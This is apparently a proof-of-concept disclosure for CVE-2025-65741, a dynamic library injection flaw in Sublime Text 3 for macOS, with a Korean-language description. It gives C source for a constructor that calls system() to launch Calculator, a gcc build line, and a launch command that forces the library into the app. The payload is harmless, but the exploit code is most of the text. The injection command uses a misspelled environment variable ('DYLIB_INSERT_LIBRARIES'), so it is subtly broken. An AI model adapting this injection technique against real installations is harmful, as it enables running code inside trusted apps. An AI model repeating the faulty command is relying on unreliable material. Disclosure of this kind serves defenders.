vinicius-batistella/cve-2025-65741
Download: https://www.sublimetext.com/3
CVE: CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
Author: Vinicius Batistella
Version Affected: Sublime Text 3 Build 3208 or prior for macOS
Sublime Text 앱은 서명되지 않은 코드 주입을 올바르게 검사하지 않으므로, 공격자는 .dylib 라이브러리를 컴파일하여 앱이 해당 라이브러리를 애플리케이션 컨텍스트에서 실행하도록 강제할 수 있습니다. 다음 예에서는 Sublime Text 앱이 calc 바이너리를 열도록 강제되었습니다. 이 취약점은 빌드 3209 이상에서 수정되었습니다.
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] Dynalic Library Injection: %s\n", argv[0]);
system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
gcc -dynamiclib injection.c -arch x86_64 -o injection_x86.dylib
DYLIB_INSERT_LIBRARIES=injection_x86.dylib /Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text